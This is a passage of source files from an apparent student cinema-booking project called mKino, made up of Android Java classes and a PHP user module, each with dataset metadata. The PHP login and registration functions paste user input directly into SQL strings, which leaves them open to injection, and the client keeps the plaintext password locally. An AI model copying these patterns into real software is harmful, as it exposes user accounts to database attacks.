\r\n}\r\n?>"},{"alpha_fraction":0.7423256039619446,"alphanum_fraction":0.7423256039619446,"avg_line_length":26.289474487304688,"blob_id":"a525832e749adc605296d84ebca55b0467a5046a","content_id":"32cb993002ea188fbed96672f3ee436c441f3b7a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":1078,"license_type":"no_license","max_line_length":199,"num_lines":38,"path":"/client-side/src/hr/air/mkino/tipovi/MultipleksInfo.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.tipovi;\r\n\r\n/**\r\n * Ova klasa predstavlja tip podataka koji opisuje pojedini multipleks. Između ostalih podataka se nalaze i svi getteri, dok se jednom uneseni podaci (koristeći konstruktor) ne mogu više promijeniti \r\n * @author domagoj\r\n *\r\n */\r\npublic class MultipleksInfo {\r\n\tprivate int idMultipleksa;\r\n\tprivate String naziv;\r\n\tprivate String oznaka;\r\n\tprivate float zemljopisnaDuzina;\r\n\tprivate float zemljopisnaSirina;\r\n\t\r\n\tpublic MultipleksInfo(int idMultipleksa, String naziv, String oznaka, float zemljopisnaDuzina, float zemljopisnaSirina) {\r\n\t\tthis.idMultipleksa = idMultipleksa;\r\n\t\tthis.naziv = naziv;\r\n\t\tthis.oznaka = oznaka;\r\n\t\tthis.zemljopisnaDuzina = zemljopisnaDuzina;\r\n\t\tthis.zemljopisnaSirina = zemljopisnaSirina;\r\n\t}\r\n\t\r\n\tpublic int getIdMultipleksa() {\r\n\t\treturn idMultipleksa;\r\n\t}\r\n\tpublic String getNaziv() {\r\n\t\treturn naziv;\r\n\t}\r\n\tpublic String getOznaka() {\r\n\t\treturn oznaka;\r\n\t}\r\n\tpublic float getZemljopisnaDuzina() {\r\n\t\treturn zemljopisnaDuzina;\r\n\t}\r\n\tpublic float getZemljopisnaSirina() {\r\n\t\treturn zemljopisnaSirina;\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.678856372833252,"alphanum_fraction":0.678856372833252,"avg_line_length":17.789474487304688,"blob_id":"cdc5d6a9ce5b46bf95afc1116e38f93e30378916","content_id":"933cccc232d5cc457a6adeb471da6a682c1cba10","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":1504,"license_type":"no_license","max_line_length":122,"num_lines":76,"path":"/client-side/src/hr/air/mkino/tipovi/ProjekcijaInfo.java","repo_name":"dsitum/mKino","src_encoding":"UTF-8","text":"package hr.air.mkino.tipovi;\r\n/**\r\n * Klasa koja predstavlja slozeni tip podataka o projekcijama.\r\n * @author bstivic\r\n *\r\n */\r\npublic class ProjekcijaInfo {\r\n\tprivate int idProjekcije;\r\n\tprivate int dvorana;\r\n\tprivate FilmInfo film;\r\n\tprivate String vrijemePocetka;\r\n\tprivate int multipleks;\r\n\tprivate float cijena;\r\n\t\r\n\tpublic ProjekcijaInfo(int idProjekcije, int dvorana, FilmInfo film, String vrijemePocetka, int multipleks, float cijena){\r\n\t\tthis.idProjekcije = idProjekcije;\r\n\t\tthis.dvorana = dvorana;\r\n\t\tthis.film = film;\r\n\t\tthis.vrijemePocetka = vrijemePocetka;\r\n\t\tthis.multipleks = multipleks;\r\n\t\tthis.cijena = cijena;\r\n\t}\r\n\t\r\n\tpublic float getCijena(){\r\n\t\treturn cijena;\r\n\t}\r\n\tpublic int getidProjekcije(){\r\n\t\treturn idProjekcije;\r\n\t}\r\n\tpublic int getDvorana(){\r\n\t\treturn dvorana;\r\n\t}\r\n\tpublic String getVrijemePocetka()\r\n\t{\r\n\t\treturn vrijemePocetka;\r\n\t}\r\n\tpublic int getMultipleks(){\r\n\t\treturn multipleks;\r\n\t}\r\n\t\r\n\tpublic int getIdFilma() {\r\n\t\treturn film.getIdFilma();\r\n\t}\r\n\r\n\tpublic String getNaziv() {\r\n\t\treturn film.getNaziv();\r\n\t}\r\n\r\n\tpublic String getOpis() {\r\n\t\treturn film.getOpis();\r\n\t}\r\n\r\n\tpublic String getRedatelj() {\r\n\t\treturn film.getRedatelj();\r\n\t}\r\n\r\n\tpublic String getGlavneUloge() {\r\n\t\treturn film.getGlavneUloge();\r\n\t}\r\n\r\n\tpublic int getTrajanje() {\r\n\t\treturn film.getTrajanje();\r\n\t}\r\n\r\n\tpublic int getGodina() {\r\n\t\treturn film.getGodina();\r\n\t}\r\n\r\n\tpublic String getZanr() {\r\n\t\treturn film.getZanr();\r\n\t}\r\n\r\n\tpublic int getAktualno() {\r\n\t\treturn film.getAktualno();\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.6274632215499878,"alphanum_fraction":0.6365342736244202,"avg_line_length":40.6533317565918,"blob_id":"aec7307c051754666adab1c883143d29455b4a1b","content_id":"4896a99c30e08f976f3b710045f688dba27607fc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"PHP","length_bytes":3208,"license_type":"no_license","max_line_length":231,"num_lines":75,"path":"/server-side/Datoteke/skripte/korisnici.php","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"<?php\r\n\tclass Korisnici\r\n\t{\r\n\t\tpublic static function PrijaviSe($korisnickoIme, $lozinka)\r\n\t\t{\r\n\t\t\trequire_once 'DB_connect.php';\r\n\t\t\t$upit = \"SELECT * FROM korisnici WHERE korisnickoIme = '$korisnickoIme'\";\r\n\t\t\t$korisnik = UpitUBazu($upit);\r\n\t\t\tif (isset($korisnik[0]['povratnaInformacijaId']))\r\n\t\t\t{\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 2, 'povratnaInformacijaTekst' => utf8_encode('Nepostojeći korisnik')));\r\n\t\t\t} else\r\n\t\t\t{\r\n\t\t\t\t$lozinkaHash = hash('sha512', $lozinka . $korisnik[0]['salt']);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$upit = \"SELECT idKorisnika, korisnickoIme, ime, prezime, email, telefon FROM korisnici WHERE korisnickoIme = '$korisnickoIme' AND lozinka = '$lozinkaHash'\";\r\n\t\t\t$korisnik = UpitUBazu($upit);\r\n\t\t\tif (isset($korisnik[0]['povratnaInformacijaId']))\r\n\t\t\t{\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 3, 'povratnaInformacijaTekst' => utf8_encode('Pogrešna lozinka')));\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn $korisnik;\r\n\t\t}\r\n\t\t\r\n\t\tpublic static function RegistrirajSe($podaci)\r\n\t\t{\r\n\t\t\trequire_once 'DB_connect.php';\r\n\t\t\t// provjeravamo postoji li korisničko ime već u bazi\r\n\t\t\t$upit = \"SELECT * FROM korisnici WHERE korisnickoIme = '\" . $podaci['korisnickoIme'] . \"'\";\r\n\t\t\t$korisnik = UpitUBazu($upit);\r\n\t\t\tif (isset($korisnik[0]['korisnickoIme']))\r\n\t\t\t{\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 4, 'povratnaInformacijaTekst' => utf8_encode('Korisnik već postoji'))); \r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// provjeravamo postoji li email već u bazi\r\n\t\t\t$upit = \"SELECT * FROM korisnici WHERE email = '\" . $podaci['email'] . \"'\";\r\n\t\t\t$korisnik = UpitUBazu($upit);\r\n\t\t\tif (isset($korisnik[0]['email']))\r\n\t\t\t{\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 5, 'povratnaInformacijaTekst' => utf8_encode('Email adresa već postoji'))); \r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// provjeravamo postoji li telefon već u bazi\r\n\t\t\t$upit = \"SELECT * FROM korisnici WHERE telefon = '\" . $podaci['telefon'] . \"'\";\r\n\t\t\t$korisnik = UpitUBazu($upit);\r\n\t\t\tif (isset($korisnik[0]['telefon']))\r\n\t\t\t{\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 6, 'povratnaInformacijaTekst' => utf8_encode('Taj telefonski broj već postoji'))); \r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// ako se nije dogodio nikakav konflikt, dodajemo korisnika u bazu\r\n\t\t\t$upit = \"INSERT INTO korisnici VALUES (DEFAULT, '\".$podaci['korisnickoIme'].\"', '\".$podaci['lozinka'].\"', '\".$podaci['salt'].\"', '\".$podaci['ime'].\"', '\".$podaci['prezime'].\"', '\".$podaci['email'].\"', '\".$podaci['telefon'].\"')\";\r\n\t\t\t$uspjeh = Upit($upit);\r\n\t\t\t\r\n\t\t\tif ($uspjeh)\r\n\t\t\t{\r\n\t\t\t\t// pronalazimo id trenutno unesenog korisnika\r\n\t\t\t\t$upit2 = \"SELECT idKorisnika from korisnici WHERE korisnickoIme = '\" . $podaci['korisnickoIme'] . \"'\";\r\n\t\t\t\t$id = UpitUBazu($upit2);\r\n\t\t\t\t\r\n\t\t\t\t// unosimo jednu praznu rezervaciju\r\n\t\t\t\t$idk = $id[0]['idKorisnika'];\r\n\t\t\t\t$upit3 = \"INSERT INTO rezervacije (projekcija, korisnik, brojSjedala, kod) VALUES ($idk, $idk, $idk, '$idk-0')\";\r\n\t\t\t\tUpit($upit3);\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 0, 'povratnaInformacijaTekst' => utf8_encode('Korisnik uspješno dodan'))); \r\n\t\t\t} else\r\n\t\t\t{\r\n\t\t\t\treturn array(array('povratnaInformacijaId' => 7, 'povratnaInformacijaTekst' => utf8_encode('Korisnika nije bilo moguće dodati u bazu. Razlog nepoznat'))); \r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n?>"},{"alpha_fraction":0.6949654221534729,"alphanum_fraction":0.6957058310508728,"avg_line_length":33.85840606689453,"blob_id":"ca7b1579edf2af32971bb5a680face7ab75c167f","content_id":"2aa197343f48ddf0b5c49ac62eaa9a3bdbfbb3c9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":4063,"license_type":"no_license","max_line_length":118,"num_lines":113,"path":"/client-side/src/hr/air/mkino/core/Prijava.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.core;\r\n\r\nimport android.app.Dialog;\r\nimport android.content.Context;\r\nimport android.view.View;\r\nimport android.view.Window;\r\nimport android.view.View.OnClickListener;\r\nimport android.widget.Button;\r\nimport android.widget.EditText;\r\nimport android.widget.Toast;\r\nimport hr.air.mkino.R;\r\nimport hr.air.mkino.baza.PrijavljeniKorisnikAdapter;\r\nimport hr.air.mkino.server.JsonPrijava;\r\nimport hr.air.mkino.tipovi.Korisnik;\r\n\r\n/**klasa poslovne logike koja služi za prikaz dijaloga prijave i izvršavanje prijave*/\r\npublic class Prijava {\r\n\t\r\n\t/**\r\n\t * Metoda koja prikazuje dijalog za prijavu u aplikaciju\r\n\t * @param aktivni Context\r\n\t * */\r\n\tpublic void prikaziDijalog(final Context context) {\r\n\t\t\tfinal Dialog dialogPrijava = new Dialog(context);\r\n\t\t\tdialogPrijava.requestWindowFeature(Window.FEATURE_NO_TITLE);\r\n\t\t\tdialogPrijava.setContentView(R.layout.dialog_prijava);\t\t\t\r\n\t\t\tdialogPrijava.show();\r\n\t\t\t\r\n\t\t\t/*dohvaćanje unešenih podataka*/\t\t\t\r\n\t\t\tButton btnPrijaviSe = (Button)dialogPrijava.findViewById(R.id.dialog_prijava_btnPrijaviSe);\r\n\t\t\tButton btnOdustani = (Button) dialogPrijava.findViewById(R.id.dijalog_prijava_btnOdustani);\r\n\t\t\tButton btnRegistracija = (Button)dialogPrijava.findViewById(R.id.prijava_btnRegistrirajSe);\r\n\t\t\t\r\n\t\t\tfinal EditText txtKorisnickoIme = (EditText) dialogPrijava.findViewById(R.id.dialog_registracija_txtKorisnickoIme);\r\n\t\t\tfinal EditText txLozinka = (EditText)dialogPrijava.findViewById(R.id.dialog_registracija_txtLozinka);\r\n\t\t\t\r\n\t\t\t/*odustani od prijave*/\r\n\t\t\tbtnOdustani.setOnClickListener(new OnClickListener() {\r\n\t\t\t\t\t@Override\r\n\t\t\t\t\tpublic void onClick(View v) {\r\n\t\t\t\t\t\tdialogPrijava.dismiss();\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t\t\t\r\n\t\t\t/*klik na prijavu*/\r\n\t\t\tbtnPrijaviSe.setOnClickListener(new OnClickListener() {\r\n\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onClick(View v) {\t\t\t\t\r\n\t\t\t\t\tString tKorisnickoIme= txtKorisnickoIme.getText().toString();\r\n\t\t\t\t\tString tLozinka = txLozinka.getText().toString();\r\n\t\t\t\t\t\r\n\t\t\t\t\t/*validacija na klijentskoj strani*/\r\n\t\t\t\t\tif(tKorisnickoIme == null || tKorisnickoIme.length() ==0)\r\n\t\t\t\t\t\tToast.makeText(context, \"Unesite korisničko ime\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\r\n\t\t\t\t\telse if(tLozinka == null || tLozinka.length() ==0)\r\n\t\t\t\t\t\tToast.makeText(context, \"Unesite lozinku\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\r\n\t\t\t\t\telse{\r\n\t\t\t\t\t\tJsonPrijava novaPrijava = new JsonPrijava();\r\n\t\t\t\t\t\t/*instanciranje objekta Korisnik koji ce sluziti za prijavu*/\r\n\t\t\t\t\t\tKorisnik prijava = novaPrijava.prijavi(tKorisnickoIme, tLozinka);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t/*uspješna prijava*/\r\n\t\t\t\t\t\tif(prijava != null)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tToast.makeText(context, \"Uspješno ste prijavljeni!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\t\tPrijavljeniKorisnikAdapter prijavljeniKorisnikAdapter = new PrijavljeniKorisnikAdapter(context);\r\n\t\t\t\t\t\t\tif(prijavljeniKorisnikAdapter.pohraniKorisnickePodatke(tKorisnickoIme, tLozinka) > \t0)\r\n\t\t\t\t\t\t\t\tToast.makeText(context, \"zapamtio u bazu\", Toast.LENGTH_SHORT);\r\n\t\t\t\t\t\t\tdialogPrijava.dismiss();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t/*neuspješna prijava*/\r\n\t\t\t\t\t\t\tToast.makeText(context, \"Neuspješna prijava!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\t\t\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\t/*klik na registraciju koji otvara dijalog za registraciju korisnika*/\r\n\t\t\tbtnRegistracija.setOnClickListener(new OnClickListener() {\r\n\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onClick(View v) {\r\n\t\t\t\t\t/*zatvaramo dijalog za prijavu*/\r\n\t\t\t\t\tdialogPrijava.dismiss();\r\n\t\t\t\t\t\r\n\t\t\t\t\t/*prikazujemo dijalog za registraciju*/\r\n\t\t\t\t\tRegistracija registracije = new Registracija();\r\n\t\t\t\t\tregistracije.prikaziDijalog(context);\t\t\t\t\t\r\n\t\t\t\t}\t\t\t\t\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\t\r\n\t\t}\r\n\t\r\n\t/**\r\n\t * Metoda koja odjavljuje korisnika iz aplikacije\r\n\t * @param trenutni Context\r\n\t * */\r\n\tpublic void odjava(Context context)\r\n\t{\r\n\t\tPrijavljeniKorisnikAdapter prijavljeniKorisnik = new PrijavljeniKorisnikAdapter(context);\r\n\t\t/*brišemo prijavljenog korisnika iz lokalne baze podataka*/\r\n\t\tprijavljeniKorisnik.obrisiPrijavljenogKorisnika();\r\n\t\tToast.makeText(context, \"Uspješno ste se odjavili\", Toast.LENGTH_SHORT).show();\r\n\t}\r\n\t\r\n}\r\n"},{"alpha_fraction":0.6925264000892639,"alphanum_fraction":0.6949634552001953,"avg_line_length":26.79532241821289,"blob_id":"3dddd9fc5e3022338a5f6bf2c8d790f93adabafe","content_id":"35394b063b1dee6e5e67417572c75f9de34f0959","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":4941,"license_type":"no_license","max_line_length":146,"num_lines":171,"path":"/client-side/src/hr/air/mkino/server/SlikaSaServera.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\nimport hr.air.mkino.sucelja.ISlikaFilma;\r\n\r\nimport java.io.File;\r\nimport java.io.FileNotFoundException;\r\nimport java.io.FileOutputStream;\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.net.HttpURLConnection;\r\nimport java.net.MalformedURLException;\r\nimport java.net.URL;\r\nimport java.util.concurrent.ExecutionException;\r\n\r\nimport android.content.Context;\r\nimport android.graphics.Bitmap;\r\nimport android.graphics.BitmapFactory;\r\nimport android.os.AsyncTask;\r\nimport android.os.Environment;\r\nimport android.util.DisplayMetrics;\r\n\r\n/**\r\n * Služi za dohvaćanje slike filma sa servera.\r\n * U konstruktoru prima identifikacijsku oznaku filma, koju onda poslije koristi u metodama za dohvat slike.\r\n * @author domagoj\r\n *\r\n */\r\npublic class SlikaSaServera extends AsyncTask<String, Void, Bitmap> implements ISlikaFilma {\r\n\tprivate Context context;\r\n\tprivate int idFilma;\r\n\t\r\n\tpublic SlikaSaServera(Context context, int idFilma) {\r\n\t\tthis.context = context;\r\n\t\tthis.idFilma = idFilma;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Dohvaća sliku filma u velikom formatu\r\n\t * @return Bitmap objekt slike\r\n\t */\r\n\tpublic Bitmap dohvatiVelikuSliku()\r\n\t{\r\n\t\tString url = \"http://mkinoairprojekt.me.pn/skripte/index.php?tip=slike&id=\" + idFilma;\r\n\t\tthis.execute(url);\r\n\t\tBitmap slika = null;\r\n\t\ttry {\r\n\t\t\tslika = this.get();\r\n\t\t} catch (InterruptedException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (ExecutionException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\tpohraniSlikuNaSD(slika, true);\r\n\t\treturn slika;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Dohvaća sliku filma u malom formatu\r\n\t * @return Bitmap objekt slike\r\n\t */\r\n\tpublic Bitmap dohvatiMaluSliku()\r\n\t{\r\n\t\tString url = \"http://mkinoairprojekt.me.pn/skripte/index.php?tip=slikemale&id=\" + idFilma;\r\n\t\tthis.execute(url);\r\n\t\tBitmap slika = null;\r\n\t\ttry {\r\n\t\t\tslika = promijeniVelicinuMaleSlike(this.get());\r\n\t\t} catch (InterruptedException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (ExecutionException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\tpohraniSlikuNaSD(slika, false);\r\n\t\treturn slika;\r\n\t}\r\n\t\r\n\r\n\t/**\r\n\t * Nakon što se slika preuzme s interneta, potrebno ju je pohraniti na SD karticu u svrhu cachiranja\r\n\t * @param slika koju treba pohraniti\r\n\t * @param velikaSlika radi li se o velikoj slici ili maloj (sa ListView-a)\r\n\t */\r\n\tprivate void pohraniSlikuNaSD(Bitmap slika, boolean velikaSlika) {\r\n\t\tString putanjaDoSlike;\r\n\t\tString sdKartica = Environment.getExternalStorageDirectory().getPath();\r\n\t\t\r\n\t\tif (velikaSlika)\r\n\t\t{\r\n\t\t\tputanjaDoSlike = sdKartica + \"/mKino/\" + idFilma + \".jpg\";\r\n\t\t} else\r\n\t\t{\r\n\t\t\tputanjaDoSlike = sdKartica + \"/mKino/\" + idFilma + \"_mala.jpg\";\r\n\t\t}\r\n\t\t\r\n\t\t// najprije napravimo direktorij \"mKino\" na SD kartici (ukoliko taj direktorij ne postoji)\r\n\t\tFile direktorij = new File(sdKartica + \"/mkino\");\r\n\t\tif (!direktorij.exists())\r\n\t\t{\r\n\t\t\tdirektorij.mkdir();\r\n\t\t}\r\n\t\t\r\n\t\t// nakon što znamo da direktorij \"mKino\" postoji na SD kartici, čuvamo podatke na njoj\r\n\t\ttry {\r\n\t\t\tFileOutputStream tok = new FileOutputStream(putanjaDoSlike);\r\n\t\t\tslika.compress(Bitmap.CompressFormat.JPEG, 90, tok);\r\n\t\t\ttok.close();\r\n\t\t} catch (FileNotFoundException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Ova metoda mijenja veličinu malih slika. Veličinu preuzetih slika je potrebno promijeniti kako bi prikazane slike zauzimale što manje memorije\r\n\t * @param velika slika\r\n\t * @return mala slika ili originalna ukoliko nije potrebno mijenjati veličinu\r\n\t */\r\n\tprivate Bitmap promijeniVelicinuMaleSlike(Bitmap slika) {\r\n\t\tint sirinaVisina = 0;\r\n\t\t\r\n\t\t// provjeravamo je li razlučivost xhdpi, hdpi, mdpi ili ldpi\r\n\t\tswitch(context.getResources().getDisplayMetrics().densityDpi)\r\n\t\t{\r\n\t\t\tcase DisplayMetrics.DENSITY_LOW:\r\n\t\t\t\tsirinaVisina = 60; break;\r\n\t\t\tcase DisplayMetrics.DENSITY_MEDIUM:\r\n\t\t\t\tsirinaVisina = 80; break;\r\n\t\t\tcase DisplayMetrics.DENSITY_HIGH:\r\n\t\t\t\tsirinaVisina = 120; break;\r\n\t\t}\r\n\t\t\r\n\t\t// ako se širina(visina) slike nije promijenila, a to je u slučaju kada je telefon xhdpi ili xxhdpi, tada ju nećemo ni resize-ati,\r\n\t\t// nego ćemo vratiti staru vrijednost slike (else). U suprotnom ćemo vratiti resize-anu vrijednost\r\n\t\tif (sirinaVisina != 0)\r\n\t\t{\r\n\t\t\tBitmap novaSlika = Bitmap.createScaledBitmap(slika, sirinaVisina, sirinaVisina, false);\r\n\t\t\treturn novaSlika;\r\n\t\t} else\r\n\t\t{\r\n\t\t\treturn slika;\r\n\t\t}\r\n\t}\r\n\r\n\t@Override\r\n\tprotected Bitmap doInBackground(String... parametri) {\r\n\t\tString urlString = parametri[0];\r\n\t\tURL url;\r\n\t\tHttpURLConnection veza;\r\n\t\tBitmap slika = null;\r\n\t\t\r\n\t\ttry {\r\n\t\t\turl = new URL(urlString);\r\n\t\t\tveza = (HttpURLConnection) url.openConnection();\r\n\t\t\tveza.setDoInput(true);\r\n\t\t\tveza.connect();\r\n\t\t\tInputStream tok = veza.getInputStream();\r\n\t\t\tslika = BitmapFactory.decodeStream(tok);\r\n\t\t\tveza.disconnect();\r\n\t\t} catch (MalformedURLException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (IOException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\treturn slika;\r\n\t}\r\n\r\n}\r\n"},{"alpha_fraction":0.7036688327789307,"alphanum_fraction":0.7036688327789307,"avg_line_length":25.973684310913086,"blob_id":"cfc7a86f0a99fd5b110d0d3fbf0b94f54ad50fa9","content_id":"4751ee4b797152d38b5ac143a070e507e22a432c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":1070,"license_type":"no_license","max_line_length":131,"num_lines":38,"path":"/client-side/src/hr/air/mkino/sd/LokalnaSlika.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.sd;\r\n\r\nimport android.graphics.Bitmap;\r\nimport android.graphics.BitmapFactory;\r\nimport android.os.Environment;\r\nimport hr.air.mkino.sucelja.ISlikaFilma;\r\n\r\n/**\r\n * Služi za dohvaćanje slike filma sa SD kartice.\r\n * Za konstruktor prima ID filma kojeg dalje koristi u metodama.\r\n * @author domagoj\r\n *\r\n */\r\npublic class LokalnaSlika implements ISlikaFilma {\r\n\tint idFilma;\r\n\t\r\n\tpublic LokalnaSlika(int idFilma) {\r\n\t\tthis.idFilma = idFilma;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Dohvaća sliku filma u velikom formatu.\r\n\t * @return Bitmap objekt slike\r\n\t */\r\n\tpublic Bitmap dohvatiVelikuSliku() {\r\n\t\tBitmap slika = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory().getPath() + \"/mKino/\" + idFilma + \".jpg\");\r\n\t\treturn slika;\r\n\t}\r\n\r\n\t/**\r\n\t * Dohvaća sliku filma u malom formatu (najčešće za prikaz u ListView-u).\r\n\t * @return Bitmap objekt slike\r\n\t */\r\n\tpublic Bitmap dohvatiMaluSliku() {\r\n\t\tBitmap slika = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory().getPath() + \"/mKino/\" + idFilma + \"_mala.jpg\");\r\n\t\treturn slika;\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.7088446617126465,"alphanum_fraction":0.7140541672706604,"avg_line_length":36.05286407470703,"blob_id":"941c72857991b02d2d09980fa0e482547a7bc021","content_id":"24ce0c5a9a45a1cdcd75d3615c7d1cb1c528e6f7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":8668,"license_type":"no_license","max_line_length":130,"num_lines":227,"path":"/client-side/src/hr/air/mkino/ProjekcijeActivity.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino;\r\n\r\nimport hr.air.mkino.core.Rezervacija;\r\nimport hr.air.mkino.listviewadapteri.StavkaProjekcije;\r\nimport hr.air.mkino.server.JsonFilmovi;\r\nimport hr.air.mkino.server.JsonProjekcije;\r\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\r\nimport java.text.SimpleDateFormat;\r\nimport java.util.ArrayList;\r\nimport java.util.Date;\r\nimport java.util.List;\r\nimport android.app.Activity;\r\nimport android.content.Intent;\r\nimport android.os.Bundle;\r\nimport android.view.View;\r\nimport android.widget.AdapterView;\r\nimport android.widget.AdapterView.OnItemSelectedListener;\r\nimport android.widget.ArrayAdapter;\r\nimport android.widget.ListView;\r\nimport android.widget.Spinner;\r\nimport android.widget.TextView;\r\nimport android.widget.AdapterView.OnItemClickListener;\r\n\r\n/**Klasa koja služi za prikaz projekcija.\r\n * \r\n * @author bstivic\r\n */\r\npublic class ProjekcijeActivity extends Activity {\r\n\tprivate Spinner odabirGrada;\r\n\tprivate Spinner odabirDatuma;\r\n\tprivate ListView popisProjekcija;\r\n\tprivate List<ProjekcijaInfo> projekcije;\r\n\t\r\n\t\r\n\t@Override\r\n\tprotected void onCreate(Bundle savedInstanceState) {\r\n\t\t\r\n\t\tsuper.onCreate(savedInstanceState);\r\n\t\tsetContentView(R.layout.activity_projekcije);\r\n\t\tsetTitle(\"Popis projekcija\");\r\n\t\t\r\n\t\t// inicijaliziramo klasne varijable\r\n\t\todabirGrada = (Spinner) findViewById(R.id.rezervacije_spinner_grad);\r\n\t\todabirDatuma = (Spinner) findViewById(R.id.rezervacije_spiner_datum);\r\n\t\tpopisProjekcija= (ListView) findViewById(R.id.rezervacije_popis_projekcija);\r\n\t\r\n\t\tint odabraniMultipleks = dohvatiOdabraniMultipleks();\r\n\r\n\t\t// postavljamo spinner na trenutno odabrani multipleks\r\n\t\todabirGrada.setSelection(odabraniMultipleks-1);\r\n\t\t\r\n\t\t// dohvaćamo aktualne filmove s web servisa, i pritom punimo/modificiramo lokalnu bazu filmova iz koje će se kasnije vući podaci\r\n\t\tJsonFilmovi jf = new JsonFilmovi();\r\n\t\tjf.dohvatiFilmove(this);\r\n\t\t\r\n\t\t//postavljamo spinner na današnji datum i popunjavamo ga sa datumima u iduća dva tjedna\r\n\t\tArrayList<String> dani = new ArrayList<String>();\r\n\t\t\r\n\t\t Date sadasnjiDatum = new Date();\r\n\t\t SimpleDateFormat formatDatuma = new SimpleDateFormat(\"dd.MM.yyyy\");\r\n\r\n\t\t //Zapisujemo 14 slijedećih kalendarskih dana u spinner\r\n\t\t for (int i = 0; i < 14; i++)\r\n\t\t {\t\t\t\r\n\t\t \tdani.add(formatDatuma.format(sadasnjiDatum)+\" \" +vratiDanUTjednu(sadasnjiDatum));\r\n\t\t \tsadasnjiDatum = Rezervacija.dodajDan(sadasnjiDatum, 1);\r\n\t\t }\r\n\t\t ArrayAdapter<String> adapter = new ArrayAdapter<String>(this,\r\n\t\t android.R.layout.simple_spinner_item, dani);\r\n\r\n\t\t \r\n\t\t odabirDatuma.setAdapter(adapter);\r\n\t\t odabirDatuma.setSelection(0);\r\n\t\t \r\n\t\t //računamo koji je datum u spinneru s datumom\r\n\t\t sadasnjiDatum = new Date();\r\n\t\t odabirDatuma.setOnItemSelectedListener(new OnItemSelectedListener() {\r\n\t\t \t@Override\r\n\t\t\t\tpublic void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long indeksDana) {\t\t\t\t\t\t\t\t\t\t\r\n\t\t \t\tDate sadasnjiDatum = new Date();\r\n\t\t \t\t\r\n\t\t \t\tsadasnjiDatum = Rezervacija.dodajDan(sadasnjiDatum,(int)indeksDana);\t\t \t\t\r\n\t\t \t\t SimpleDateFormat formatDatuma2 = new SimpleDateFormat(\"yyyy-MM-dd\");\r\n\t\t \t\t \r\n\t\t \t\t //učitavamo datume u listview\r\n\t\t \t\tucitajProjekcijeUListView(formatDatuma2.format(sadasnjiDatum));\t\t \t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onNothingSelected(AdapterView<?> arg0) {}\t\t \r\n\t\t \r\n\t\t });\r\n\t\t \r\n\t\t //prilikom odabira grada mijenja se prikaz projekcija za odabrani grad\r\n\t\t odabirGrada.setOnItemSelectedListener(new OnItemSelectedListener() {\r\n\t\t \t@Override\r\n\t\t\t\tpublic void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long idOdabranogMultipleksa) {\t\t\t\t\t\t\t\t\t\t\r\n\r\n\t\t \t\t//ponovno zahtjevamo projekcije za odabrani grad\r\n\t\t \t\tprojekcije = 